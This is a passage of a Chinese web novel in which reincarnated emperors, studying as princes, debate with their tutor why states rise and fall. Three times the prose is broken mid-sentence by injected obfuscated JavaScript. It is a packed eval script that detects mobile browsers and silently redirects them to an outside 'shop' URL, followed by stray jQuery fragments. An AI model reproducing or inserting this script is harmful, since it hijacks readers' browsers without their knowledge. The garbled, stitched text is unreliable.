童爷爷指的是赵佶身边的御前总管童太监,吕雉平时没少打点。周宛宁对魏忠贤使了个眼色,魏忠贤“哧溜”就上前,笑眯眯地给对方袖子里塞了点东西。
龙图阁总管太监一捏,确定了赏钱数额不小,笑意实在了几分:“五殿下,您这边请。龙图阁台阶多,您小心着点,奴才搀着您走?”
魏忠贤不着痕迹地占上周宛宁身边的位置,隔开了总管太监:“不必劳动公公,主子,奴才来扶着您。”
周宛宁:没必要吧,这儿又不是举办什么越野大赛……
他加快了脚步,来到龙图阁门口,总管太监躬身引他进殿,却并没有走进去。
“五殿下,读书的地方就在里头。按规矩,奴才身份低微,不便跟进。您带来的这二位也得跟奴才一起在殿外候着。”
周宛宁没听说过这种规矩,他疑惑地和魏忠贤对了个眼神,魏忠贤赶紧又递了个小荷包过去:“公公,咱怎么敢让主子一人在里头待着呀!能不能……”
龙图阁的总管太监像泥鳅一样扭了过去,避开荷包,苦着脸道:“哎呦,殿下,奴才也做不了这个主啊!这规矩是大殿下定下来的,那位读书的时候从不许下人们进去伺候。”
周宛宁眉心一跳:“大哥?大哥他已经到了?”
总管太监压低声音:“是呢,大殿下最是勤奋,每日卯时不到就来阁里读书,风雨无阻。”
这是什么高三作息啊!
周宛宁干咽了一口唾沫,接过魏忠贤手里的书包,说:“那我就一人进去吧。麻烦公公给小忠子小顺子找个地方歇歇,坐下喝点茶,吃点点心,别站着干等。”
跨过门槛,周宛宁轻手轻脚地进了龙图阁。
阁内异常地静。藏书的大殿高高矗立数不尽的木架,线装书,竹简,卷轴,帛画,周宛宁从中穿行,心跳也逐渐加快。
经过一道书柜间的窄隙,周宛宁余光瞥见一条金色光芒闪过。
他转回头去,却没看到什么特别的,书柜只有陈旧的线装书满满当当地静静躺着,似乎是某代皇帝的御制诗集。
周宛宁踌躇了半晌,转头准备继续前行。
一个高挑的影子却早就立在他身后,安静地俯视了他良久。
周宛宁险些撞上对面的腰,他吓得连连后退,惊惧地抬头去看。
只见周承璋垂眸看着他,少年一袭黑底绣金的锦袍,负手而立,似一杆青竹,脸上无喜无怒,只有一派平静。
刚才周宛宁看到的金色闪光似乎就是他袍子上的金线绣样。
这人怎么都没有声音!上辈子是刺客吗?
周宛宁抿抿嘴唇,努力按下心里的不安,小声招呼:“大哥,早上好。”
周承璋淡淡“嗯”了一声。
而后,他伸出一只手,轻轻按住周宛宁的肩膀,往旁边一拨。
“让让。”他说,“你挡路了。”
13.第 13 章
周承璋在自己的书桌前专心地练了一刻钟的字。
刚写完第二张,他抬头活动了一下有些酸硬的脖子,就看到几步远处缩着一个小小的影子。
他只见过几次面的弟弟躲在一张小桌后,手中立着一本书。借着书的遮掩,他正有点胆怯地打量着自己。
这孩子叫什么来着?
周承璋停留在弟弟身上的目光稍微久了一些,他在回忆这孩子的名字。从三皇子出生后,周承璋就没再记弟弟们的姓名了,他只记得自己亲弟弟老二叫周济安。
不过这长久的凝视好像给这个弟弟带来了些许压迫感。
周宛宁:不是只有“些许”压迫感!
在藏书室偶遇了周承璋之后,周宛宁给自己默默做了很久心理建设,才鼓起勇气跟着他来到上课的正殿。
殿中只有他们两人,周承璋来到他自己的桌前就铺开宣纸开始研墨练字,专心至极,完全把他当做空气。
周宛宁就像是怕惊扰假寐的猫咪一样,拿了本《诗》挡住脸,努力伸长脖子想看看周承璋究竟在写什么。
没想到周承璋忽然抬起头,沉默地盯着他看,一脸冷硬。
周宛宁被这种眼神钉死在原地,大脑一片空白,原本做好的心理建设一键清空。
上次有这种寒毛乍起的感觉,还是刘彻问他知不知道什么是人彘,吕雉恰好听到了,幽幽地向他们投来一瞥。
迎着周承璋冰冷的目光(还在回忆),周宛宁僵硬地把书放下,语无伦次地解释:“我,我娘要我好好向大哥学习,所以,所以我……大哥是在写功课?”
周承璋语气平淡地答:“不,只是练字。”
练字?
莫非这人前世和赵佶一样热爱书法?
周宛宁大着胆子挪近了一些,手里还抓着那本遮掩用的《诗》,偷偷摸摸地去看周承璋的字。
和他预想中苍劲有力或华美精巧的字都不同,周承璋的字反而有一种稚拙感。
他的每一笔每一划都很用力,落笔很实,横平竖直,几乎没什么笔锋,看起来甚至有点像是后世电脑的印刷体。
一句话概括:标准!
看到这样好认的字,周宛宁双眼闪亮,夸赞道:“大哥的字写得真好,清清楚楚的。”
周承璋顿了顿,语气稍稍放松了些:“我也觉得写字还是要以清晰准确为妙。过于追求所谓结构美是舍本逐末,浪费精力。”
周宛宁可太赞同了。
他的字写得特别烂,上辈子他从高中毕业之后就没怎么写过字,中指上的茧子都平了。但为了讨好赵佶,吕雉带着周宛宁艰难地从零开始学书法。
周宛宁的字实在是进步得太慢,他一度学得崩溃。有段时间他每天晚上对月祈祷,恳求一名大发明家从天而降,从零开始提升大夏科技水平,造出计算机,让他免于学书法之苦。
要是老朱当皇帝,他肯定不会逼儿子学书法!
但这种牢骚,周宛宁不敢对别人发。毕竟当今皇上钟情书画,下头的人投其所好,当然不能对艺术提出质疑。
听到周承璋如此直白地批评书法艺术,周宛宁先是惊喜,再是惊恐。
他赶紧小声提醒:“大哥,在外头不能这样说。”
周承璋重新铺上宣纸,用镇纸压平,轻轻一笑道:“你会传出去吗?”
周宛宁抿起嘴,嘀咕:“……不会。”
周承璋不再言语,继续低头认真练字。
周宛宁轻手轻脚地回到座位,他捧着《诗》又翻了几页,读了一会儿,他习惯性地从小书包里翻出零嘴,捏了枚果干塞到嘴里去。
出于礼貌,他又晃到周承璋桌前,问:“大哥,你要不要吃桃脯?”
周承璋提起笔扫他一眼,周宛宁已经把用油纸包好的桃脯搁到了他桌角,推荐起来:“这桃脯很好吃的,我背书累了就吃一枚,一包都吃完了就差不多能背完了。桃脯甜甜的,可以给大脑补充糖分,这样脑子就不累了。”
说完,周宛宁有点忐忑地期待起周承璋的反应。
周承璋没说什么,只点了一下头,淡淡道:“多谢。”
周宛宁心中升起一丝诡异的满足感,就好像他去喂一只凶狠的流浪猫丧彪,本来他已经做好了被猫挠成花脸的准备,谁料丧彪凑过来闻了闻他手里的猫条,“嗷”了一声,叼起来就走了。
没被挠就是胜利!
周宛宁开开心心地回去继续读《诗》。周承璋微微皱起眉头,他仔细地观察了一番周宛宁的神色,有点疑惑。
这弟弟倒是心善,但感觉不是很聪明的样子。
说起来,他究竟叫什么来着?
“小宁!你到得真早。来看看我找到了什么!”
正殿忽然响起一声呼唤,周宛宁立刻放下书,像看到救星一样抬头:“四哥!”
刘彻来了。
刘彻进殿的时候怀里还抱着一根卷轴,脸上洋溢着欢喜之色。
他敷衍地对周承璋叫了一声“大哥”,然后就凑到周宛宁旁边,将卷轴放到桌上,小心地一点点展开:
“龙图阁里的珍品真多。我刚才在书库里转了一圈,发现了这个!”
卷轴慢慢展开,露出内部真容。
这是一幅人物画,一名鹤发童颜、长须及腰的老仙人立于一株松树下,四周云雾缭绕,老仙人手持拂尘,神情恬淡,怡然自得。
留白处,有人用簪花小楷密密麻麻写了几行字。周宛宁眯起眼睛,艰难地辨别,刘彻在一旁好心地帮忙翻译:
“这画呀,是安陆王作为祥瑞进献上来的。画里头是一位得道真人。这名真人遍览仙山,云游四方,终于寻得大道,飞升成仙。相传这名真人留下了秘传的真经,就埋在画中的松树下。安陆王听到了这则传说,就将找人将传说画了下来,献给了父皇。”
周宛宁缓缓转过头去,盯住刘彻。
刘彻你旧病复发了?又想被方士骗着去买保健品了是吧?
刘彻一脸憧憬:“你说,这松树会在哪儿呢?真经会不会记载长生不老药的丹方?”
周宛宁:“哥,这应该不太可能吧……”
周承璋:“有可能。”
周宛宁:?
周宛宁和刘彻都转过头去,周承璋不知道什么时候已经安静地立在他们身后,他低头看着那副《神仙寿松图》,认真地说:“我听闻极东之地有三座仙岛,仙岛名为东瀛、方丈和蓬莱,岛上有神仙居住。这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864846|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
位真人或许就是找到了仙岛。”
周宛宁:???
这都是什么版本的传说故事了,大哥,你睡前故事是徐福给你讲的吗?
周宛宁以为刘彻会兴致勃勃地将周承璋引为知己,谁料刘彻一脸不屑,驳斥道:
“极东之地哪有仙岛,那都是骗人的。”
周宛宁稀奇地看向刘彻:本以为你会继续被方士骗着买保健品,没想到你还保留了一丝理智!
周承璋坚持道:“有。古时就曾有皇帝派遣方士东渡,寻找仙岛。”
刘彻嘲笑道:“我也读到过类似的故事,古时候有个傻子皇帝,给方士凑钱凑人,浩浩荡荡派了大批人马去寻找海外仙山,结果发现方士在骗他!这皇帝恼羞成怒,竟然把国内的方士坑杀了,哈哈哈哈!”
周承璋:………………
周承璋的脸色变得极为难看,过了半晌,他从牙缝里挤出一句话:“不该坑吗?”
刘彻说:“该坑啊,确实该坑。这世上的方士一百个里有九九个都是骗子,杀了不冤。”
周承璋:“那你凭什么说他是傻子皇帝?”
刘彻理所当然道:“反正他又听不见,我爱怎么说他就怎么说咯。”
周承璋:………………
周宛宁赶紧打圆场:“哥,修仙问道之事太虚无缥缈了,你快把画收起来吧,万一先生听到了,恐怕要罚你。”
刘彻倒是听劝,手脚利索地开始卷画:“对,真经的事,知道的人越少越好。”
周宛宁:我说的是这个吗!
周承璋一脸的不高兴,刘彻跑回书库还画,他就沉着脸重重地回到自己桌前,一边收拾笔墨一边生闷气。
周宛宁凑上前,他想了想,试探性地问:“大哥也喜欢听那些神仙传说的故事吗?”
周承璋瞥他一眼,冷冷道:“确实感兴趣。怎么,你觉得很荒谬?”
周宛宁说:“我也很喜欢神仙的故事。我娘会给我讲美猴王大闹天宫,哪吒闹海,二郎神劈山救母。”
周承璋拧起眉头:“我倒没听过这些故事。不过我感兴趣的并非神怪志异,我想寻得的是大道,是能让人延年益寿、百病不侵的妙法。”
周宛宁笑了笑:“那我和大哥想到一块儿去了!我也想知道怎么能让人消解病痛,活得更久。其实我以后想当个大夫呢。”
周承璋无奈地看他一眼:“我说的倒不是这种……罢了,你还小,不懂这些。”
周宛宁“哦”了一声,乖乖道:“好吧。那我以后要是找到了什么治病保养的方法,就来分享给大哥。”
周承璋还想说些什么,就听见书库那边传来急促的脚步声。
刘彻、李世民和赵匡胤飞一样窜进正殿,急急忙忙找位置坐下。
赵匡胤对周宛宁拼命挤眉弄眼:“先生来了!先生来了!”
周宛宁赶紧回到自己的座位,刚整理好文具,就见一清癯俊逸的青年缓步走进正殿。
青年看起来约莫四十岁不到,留着漂亮的长髯,双眼湛湛有神,先是扫过一屋子高矮不同的皇子,接着平静地抬手行礼,介绍道:
“在下张白圭。奉旨带领诸位殿下读书进学,修习圣人之道。”
14.第 14 章
【张白圭】
【身份:国子监司业,翰林院侍讲侍读】
【隐藏资料:需达到一定好感度开启】
周宛宁看到“隐藏资料”这行字,眉心忍不住跳了跳。
又来?怎么又有重生者?
张白圭……张白圭……这名字好耳熟。
周宛宁还在思考,李世民已经避席起立,恭恭敬敬地对张白圭躬身行礼:“张先生。今后还请先生多多指教!”
赵匡胤和刘彻比他还稍慢了一步,他们都已经站起来了,周宛宁才一个激灵,赶紧起立,学着他们的模样向张白圭问好:
“请张先生指教!”
不愧是你啊,唐太宗!礼贤下士这一块嗅觉简直是世界顶级!
受皇子的礼节,并教导未来的皇帝,对一名侍讲来说是极大的荣耀了。
但张白圭却神色不变,平静地微微欠身还礼:“只希望今后能不辜负陛下嘱托,将诸位殿下教导成才。好了,殿下请坐。”
“为因材施教,我将出一道策论,考校诸位的学识。作答不限时间,殿下们认真完成即可。”
周宛宁有些紧张。虽然他基本可以确认是全场垫底了,但他也不想写出很烂的答卷被老师批评。
千万别出什么特别难的题啊,拜托拜托!
张白圭挥毫提笔,顷刻书写了几个字:
“国何以亡,何以强”
看到这七个字,周宛宁只觉得脑袋“轰”地一下,一片空白。
国家为何兴盛灭亡?
这是秦皇汉武、唐宗宋祖该考虑的问题吧?
他只是个还没拿到博士学位的外科医生,让他和千古一帝们一起答题,他配吗?
让周宛宁更崩溃的是,他的几个哥哥飞一样拖过砚台开始“库库”磨墨,一副即刻就能下笔千言的模样。
张白圭又看了一眼周承璋,说:“大殿下也需要作答。”
周承璋没有异议。
周宛宁只能学着哥哥们的样子也开始慢慢磨墨,同时拼命思考要怎么答题。
文言文他勉强能写,但策论的内容需要像议论文一样结构严谨。写作前,他需要想好大纲,填充论据,同时不能举一些上辈子所在世界的历史实例,不然会被这帮人精哥哥们认出来。
不要慌,周宛宁,他也有自己的优点!
他的优势就在于,他站在历史长河的下游,同时接受过五千年来浩荡历史与千年未有之大变局总结而出的义务教育,还在信息化时代见证过全世界各大强国的此兴彼落。
考研政治可不是白背的呀,知识点们,是时候出手了!
国何以亡?
纵观历史,朝代的衰落原因各有不同。有的是因为外族入侵,有的是因为气候骤变,有的是因为皇帝好大喜功自己找死,还有的是因为举国上下都觉得皇帝应该禅让给大圣人……
无论衰落还是兴盛,原因都不是单一的,有时甚至会有些偶然因素。
但这其中是存在共性的!
比如制度腐朽,阶层固化,兼并严重,还有思想落后。
至于如何兴盛,能说的就多了,周宛宁稍想了想,从上辈子看过的《大国崛起》纪录片里找了一些观点,仔细选了选能写的,然后开始认真拟定大纲。
刚提起笔,周宛宁就听见一旁刘彻那桌传来了翻页的声音。
他瞟了一眼刘彻,眼珠子差点瞪出来:
刘彻已经写了密密麻麻一页纸,开始写第二页了!
不要这么卷吧,武帝陛下!!!
“先生,我写完了。”
另一边,李世民竟然伸手说要交卷!
周宛宁:我真的必须要和这些人一起上学吗(绝望)
再看看周承璋和赵匡胤,他们也都在低头奋笔疾书。周宛宁使劲儿拍了拍自己的脸,逼自己赶紧把注意力集中在眼前的空白纸张上。
刘彻是第二个交卷的。
交完卷,他还凑到周宛宁旁边,一副想要指点一二的样子。
张白圭立刻出声提醒:“四殿下,请不要搅扰五殿下答卷。”
刘彻:切。
很快,赵匡胤和周承璋也都陆续交卷了。
张白圭并没有立即翻阅他们的策论,而是轻轻踱步到周宛宁的桌前,低头去看他的答卷情况。
周宛宁并没有察觉到张白圭的靠近。
写着写着他就找到了感觉,上辈子他写论文的时候也是这样,一旦真正全神贯注,他就能进入一种心流状态,对外界的情况完全不会在意,整个人心无旁骛,全世界就只剩下自己和眼前的文章。
“…………因此,一个国家的兴亡决不能简单粗暴地归咎于所谓‘道德’和‘天意’。当然,气候的变化确实会影响农业收成,进而对人口发生深远影响,但人的劳动必然能改造世界,国家的存在就是用以让单个无法抵抗气候变化的人类个体在集体中存活……”
写到这里,周宛宁皱起眉头。
文章还差个收尾,但周宛宁明显是越写越兴奋,该写的不该写的都被他写出来了。
他拿起笔想把这行字划去。这些话放在这个时代实在是有些太超前,虽然统治阶级内心不一定相信所谓天意,但他们不能诉之于口。毕竟没了“天意”,许多统治者的统治法理也就消失了大半。
“不忙,五殿下,让我看看你的卷子。”
还没等周宛宁动作,他的卷子却被轻轻抽走了。
周宛宁睁大眼睛,他仰脸看向眼前人,手心慢慢开始冒虚汗。
张白圭嘴角噙着一丝若有似无的微笑,他不知道张白圭刚才已经盯着他的卷子看了多久,周宛宁呆滞地注视着这位侍讲踱步回到讲桌前,开始一张一张点评试卷。
“按照长幼顺序,依次点评。”
他拿出第一张卷子,隔着一定距离,周宛宁都能清清楚楚看到上面横平竖直又整齐的字,简直像是打字机打出来的一样,一眼就能认出是周承璋的卷子。
周承璋是不是有强迫症?
“大殿下的策论简明扼要,鞭辟入里。国兴始于变法,始于吸纳人才。国衰始于固步自封,始于君王昏聩,无法识人。”
张白圭简单梳理了周承璋策论的论点后,问他:“那么,大殿下认为如何变法能使国家兴盛?”
周承璋严肃道:“变法的精髓在于‘变’,根基在于‘法’。”
“首先,一切的变都要以国家当前的需要为主。若朝廷冗官过多,就当裁员精简。若军力孱弱,就当提高兵员待遇,鼓励公战,惩罚私斗。”
“再之,必须制定完备的法律,并严格执行。要让民与官都了解法律,畏惧法律,不敢触犯。更重要的是,王子犯法,当与庶民同罪!”
张白圭轻轻点头,刘彻却出声道:“我有问题!”
周承璋目光冰冷地扫向刘彻:“怎么?”
刘彻毫不退让地问:“大哥的意思是,以法家来治国?”
这个世界的历史虽然与他们的世界不同,但同样发展出了百家学说,也有法家、儒家和道家等等。因此刘彻提出法家倒也并不突兀。
周承璋点头:“自然。有何不可?”
刘彻冷笑一声:“以法律限制民众行为当然是好,但大哥凭什么相信光靠法律就能治理好国家?”
“只讲法,不讲情,不注重教化,民只会恐惧这个国家,最后落得一个被推翻的下场!”
周宛宁听得眼睛都发直:
秦皇汉武打起来了!
法家vs独尊儒术!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870581|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
周承璋反问:“那四弟认为该如何治国?你提到教化,莫非尊崇儒家?四弟难道觉得‘礼教’就足以治国?就足以拒敌?”
“面对草原上的蛮夷,你用礼教就能把他们赶出中原?”
刘彻说:“所以,我认为应当‘外儒内法’!”
张白圭含笑将第一张卷子放下,从卷子里抽出刘彻的答卷。他细细阅读一番后,轻轻点头:
“四殿下认为,国家覆亡是因为统治者残暴贪婪,索求无度,将民众压迫得活不下去了。同时,也应当警惕地方的诸侯做大,需要定期削藩,迁移地方豪强……把解决方法都写出来了啊。”
刘彻:哼。
“国家兴盛是因为上应天命,加强集权,将铁盐等关键权力收归中央。同时统一思想,推出适合统治的……”
张白圭读到这里就不读了,含笑着对刘彻点点头:“四殿下确实很有想法。”
刘彻扬起他骄傲的头颅。
张白圭接着说:“不过有些过于遵循前人故智了。这些举措,几百年前的古人就已经完成。四殿下思路清晰,同时也有很强的解决问题的能力,非常好,但没有提出什么新颖的观点。”
刘彻:?
刘彻:不是,什么叫几百年前故智……那都是我提出来的!我提出来的盐铁官营!我提出来的罢黜百家独尊儒术!
刘彻看起来有些懵,李世民把头扭过去忍不住偷偷笑。
张白圭平静地看向李世民:“二殿下,接下来轮到你的答卷了。”
李世民脸上的笑容立刻消失。
张白圭找出李世民的卷子,他眯起眼睛辨别了一下上面的草书,笑着对李世民说:“二殿下的书法颇有造诣,看来是精于此道啊。”
李世民挺直了背,但嘴上依旧谦虚:“哪里哪里。”
刘彻在后面轻轻补充了一句:“真不错,肖似其父。”
李世民:?
什么?说他书法写得好是因为他像赵佶?!
放学路过玄武门的时候小心点!
张白圭通读了一遍李世民的试卷,笑着说:“二殿下的策论写得非常好!结构严谨,文采飞扬,扣住三点来正反论证国家兴衰:民心,制度,取士。得民心得天下,定制度安天下,取名士兴天下。反之亦然。”
“二殿下的策论中还有金句:水能载舟,亦能覆舟。这句话说得好啊!民为水,君为舟,诸位当牢记。”
赵匡胤第一个站起,恭恭敬敬地对李世民行了一礼:“二哥此言当流芳百世。”
这是他作为后世帝王对唐太宗的真挚敬意。
周宛宁慢了一拍,但他也跟着赵匡胤站了起来,相当认真地对李世民行礼:“君舟民水,我当牢记。”
李世民含笑受了他们的礼。
待他们都坐好,张白圭却又话锋一转:“二殿下所言都是正理,但文中没有具体细则。今后,二殿下应当牢记这篇策论,时时填充内容,寻找能真正实施正理的正道。”
李世民点头:“我记住了。”
轮到赵匡胤,张白圭翻出他的卷子,在手中轻轻抖了抖:
“至于三殿下嘛……你写的不是策论,倒是重新出了一道题。”
大家纷纷看向赵匡胤,赵匡胤一脸坦然:“各位兄弟都饱读诗书,大道理自然人人都会讲。”
“可纸上空谈终要落于践行,我问诸位,为今之际,国家是强盛,还是衰弱?”
龙图阁陷入一阵诡异的沉寂。
周承璋率先打破安静,他冷冷道:“都不敢说?刚才写文章的时候不都很敢写吗?君舟民水,盐铁官营……一个个都是远见卓识之士,可怎么连当下时局都看不透?”
“要我说,如今国家距离衰亡只有一线之隔!”
15.第 15 章
周承璋的话掷地有声。
国家要完蛋了!
这,这是可以在皇宫里公开说的吗?
周宛宁紧张地去看其他哥哥们的表情,可从他们脸上只能看出没什么感情的淡漠。
没有震惊,没有怀疑,甚至没有对周承璋石破天惊把话挑明的讥诮,因为他们也知道大夏现在成了什么样。
周宛宁感觉手脚有些发软,他有些苦中作乐地想:幸亏周承璋不让下人们进龙图阁,只要屋里这些人不泄密,赵佶就不会把他们抓起来砍头。
哦,不,宋朝皇帝应该是把他们流放岭南?
耶,去海南吃荔枝咯!
张白圭看向周承璋的眼神是根本掩饰不住的欣赏,他没有打断皇子们的争锋,只微微笑着听赵匡胤接着发问:
“如今大夏国库充盈,文华风流,诗书礼义教化颇深,就算乡里之间都有知书达理之才。可这又怎样?”
他环顾在座诸人,继续震声喝问:
“大夏表面似鲜花着锦,实则势如累卵。京城周边的土地,皆为权贵所有!京城都如此,那天下其余地方会糜烂成什么样!百姓失了土地要如何生存?入城将自己卖为奴婢!南方的贼寇义军春风吹又生,北方女金蒙兀厉兵秣马,年年犯边,燕云十六州百年未能收回,是谁之过?”
周宛宁移开目光:燕云十六州为什么收不回来,可能王安石也想这么问问你……
“诸位,我不像你们一样,读书读得能总结出一二三条的大道理。但我明白一件事,国为何兴、国为何亡,最后这些道理,不都还要用在治理大夏上吗?那么,现在的大夏面临衰亡的危机,你们又要怎么救大夏呢?”
说完之后,赵匡胤瞪视着在座诸人,好像希望他们现在就拿出方略来。
李世民伸手去拉他,安抚道:“好了,好了,大家都在想呢。放轻松,燕云十六州也不是你丢的。”
赵匡胤:当然不是我丢的!
石敬瑭出来挨打!!!
张白圭对此不予置评,他最后拿出了周宛宁的试卷,充满兴味地说:“最后是五殿下的策论。五殿下年纪最小,写出来的东西却让人不容小觑啊。”
周宛宁感觉到四个哥哥齐刷刷的目光齐聚自己身上,他压力一下子大了起来,脸色一点点变白。
“五殿下文采简明直白,字嘛……也粗可辨认。”
张白圭首先点评了一下周宛宁的文笔和字体,周宛宁听出来了,这是说他写大白话,字还丑。
周宛宁:老师,请你用鼓励教育可以吗?
怎么换了一个世界,东亚教育也还是打压为主啊QAQ
“但这篇策论的内容,我却闻所未闻。”
张白圭拿着卷子,盯住周宛宁:“五殿下,你所写的‘生产力’是何物啊?”
周宛宁知道,他的考验来了。
他拿出答辩的勇气,努力挺起胸膛,让自己口齿清晰地解释道:
“我听我娘和哥哥们讲过很多故事,以前的很多国家都是因为老百姓没饭吃所以动乱的。那,我就在想,让老百姓有饭吃有衣穿不就好了吗?生产力就是指,能够造出更多粮食、布匹、陶器等等百姓需要的东西的能力。”
他看到有几个哥哥脸上露出有些明显的笑容,那是看待很可爱的小猫小狗会有的怜爱之色。
周宛宁知道,他的话听起来确实粗浅。同时,他没有被哥哥们忌惮就是因为他确实像小猫小狗一样没有威胁。
他吸了一口气,继续认真道:“但生产力要怎么提高?又有什么在阻碍生产力的提高?”
张白圭很配合地问:“五殿下有解法?”
周宛宁说:“我有。”
“我娘教过我,君子要:修身,齐家,治国,平天下。齐家的道理或许就可以用在治国上。我不太懂那些宏大的政策,但我观察过宣和宫的宫女织布。”
“一个宫女一天可以织一尺的布,若是多织就多奖她月例银子,或是改进织布机器,那宫女就能织得更多更快。可要是掌事给宫女分配其他的杂活,或者把宫女的丝线和机器挪作他用,那宫女就织得慢。”
周宛宁斩钉截铁道:“由此可见,提高生产力的法子有两种,一是改进制度,二是鼓励创新发明。”
“同样,阻碍生产力的事也很简单,那就是剥夺生产工具。剥夺生产工具的一个方法是土地兼并。富者田连阡陌,贫者无立锥之地,无立锥之地的人再没有什么可失去的了,就会铤而走险,揭竿而起。”
说完之后,在座所有人的表情和眼神都微妙地变了。
“生产力……生产,关系……”
李世民喃喃念着这两个词,皱着眉头开始思索,似乎有所得。
刘彻身体前倾,问:“这些……这些是你娘教你的?”
周宛宁摇摇头,说:“是我自己想的。”
他不想继续做一个被吕雉庇护的小孩子,他是皇子,他也想为此时的太平天下尽一份自己的力。
在千古一帝们前面,自惭形秽是最自然的心态了。与此同时,周宛宁心中升起的还有一种不可阻挡的雄心:为何他不能和哥哥们一起让世界变得更好呢?
他也想立下功业!他也想为这个新世界做些什么!
上辈子他选择成为一名医生,就是因为他想要这个世界因为他变得更好一点。即便一个人的力量很微弱,可一根柴的火光也能照亮一片小小的天地。
张白圭继续问:“既然五殿下认为国家衰亡的原因是土地兼并,那五殿下有没有什么好方法来解决这个问题?”
周宛宁眨了眨眼睛,有点犹豫。
张白圭鼓励地对他笑了一下,温柔道:“没事,有什么想法就说出来吧。”
周宛宁这时发现,张白圭长得很好看。
有了老师的鼓励,周宛宁就放心大胆地说了:
“把地方的不法豪强还有这些豪强当官的保护伞都杀掉!”
张白圭:?
周宛宁还补充了一句:“斩草要除根,必须抄没所有家产,然后这一支后世三代不许科举入仕!”
更恐怖的是,李世民和赵匡胤竟然都在很认同地点头。
周承璋看起来却并不喜欢周宛宁的这个法子,他一脸冷硬道:“可笑!”
大家齐齐看向周承璋。
他说:“三代不许入仕太轻了,应该夷三族。”
刘彻难得地附和道:“对!主犯还应该腰斩弃市,起到一个震慑作用。”
周宛宁:……
不是,你们这整的有点极端了吧……
张白圭开了个玩笑:“说起震慑,我听过一个法子。古时有皇帝将贪官污吏的皮扒了下来,填充稻草挂在衙门门口,好让官员都不敢犯法,是为‘剥皮楦草’。比起腰斩弃市,这个好像更恐怖些啊,哈哈哈。”
大家看向张白圭的眼神又纷纷变了。
刘彻和周承璋的眼神透着欣赏,李世民和赵匡胤的眼神透着震撼。
周宛宁的眼神透着疑惑:
张老师,你是明朝来的?
你怎么这么熟悉朱元璋的妙妙小狠招?
张白圭没再多衍生,他收好卷子,宣布摸底结果:
“新入阁的几位殿下天资聪颖,可以暂时一起听讲。从今日起,我会为殿下讲述经典,辅以历史上帝皇故事,用励精图治之举和狂悖昏聩之行作为诸位的一名镜子,让各位殿下时时鉴照,反省自身。”
“上午听讲,下午便是读书做功课。每人每天需要读书三卷,做策论三篇。我会不定期抽查各位的作业情况,若有荒怠,我将禀告陛下,或是你们的母妃。”
周宛宁:???
每天还有家庭作业?
写不完还要告家长?
没等周宛宁绝望地缩起脖子,张白圭又补充了一句:
“五殿下还需要每日额外练二十
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874983|191236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张大字。”
多少?!
周宛宁软软地从椅子上滑了下去。
天爷啊,他都念到博士了,怎么还有这种从小学重新开始读书的劫难在等着他!
张白圭熟练地过去把他提溜起来,提醒道:
“五殿下,我看得出你一直在模仿陛下的字帖练字。可陛下的字自成一派,初学者临写并无好处,练得时间长了,或许能得一二分的形,但绝对不会得其神。若想把字写好,你要从最基础的练起。从今日起,你开始练楷书。”
周宛宁虚弱地申请:“我年纪小,手腕骨头都是软的,过度使用会影响发育,能不能少写点……”
张白圭:“不行。”
周宛宁:“张老师,张先生,我求你了!”
张白圭:“殿下,身为皇子,你怎么能说出‘求’这种话呢?今日策论再加一篇,题目为‘气节’!”
周宛宁“嘎”一下就翻了过去。
赵匡胤赶紧提醒他:“气节!气节!”
作业面前,谁能有气节?!
周宛宁掉落牙齿和血吞,噙着一泡泪开始听课。
张白圭的第一课并没有什么石破天惊的内容。他让周承璋去书库里自己看书,先给其余四个皇子授课。他从最基础的经典讲起,朗诵,释义,并结合现实的事例进行解释,讲得通俗易懂,周宛宁反正是听懂了。
讲完课,四个皇子们就可以放学了。
大家去留自由,可以留下旁听张白圭给周承璋讲课,也可以去书库看书,但更重要的是赶紧把今天的作业写了。
李世民留了下来,他打算和周承璋一起听课。
赵匡胤跟刘彻两个人一左一右把周宛宁抓了起来,齐心协力把软塌塌的弟弟拖出了龙图阁。
周宛宁的魂魄都要散了,路上不停嘟嘟囔囔:“不要作业……不要……我不要写作业……”
刘彻说:“傻呀你,找个人替你写不就得了!”
赵匡胤不赞同地看了一眼刘彻:“小宁的字确实该好好练练,你教他偷奸耍滑是害他。”
刘彻翻了个白眼:“哦,就你最正直,上次打雪仗伏击我的那个人不是你?”
赵匡胤:“打雪仗输了一次你记这么久?原来你输不起啊。”
刘彻:“等我长到你这个年纪,我肯定打爆你。”
周宛宁:这还真不一定。
出了正殿,等候许久的下人们就围了过来。
看到周宛宁一副失魂落魄的模样,魏忠贤和小顺子都快吓死了,赶紧上前帮忙扶着他,连声问:
“主子,里头发生什么了?您难道是挨欺负了?”
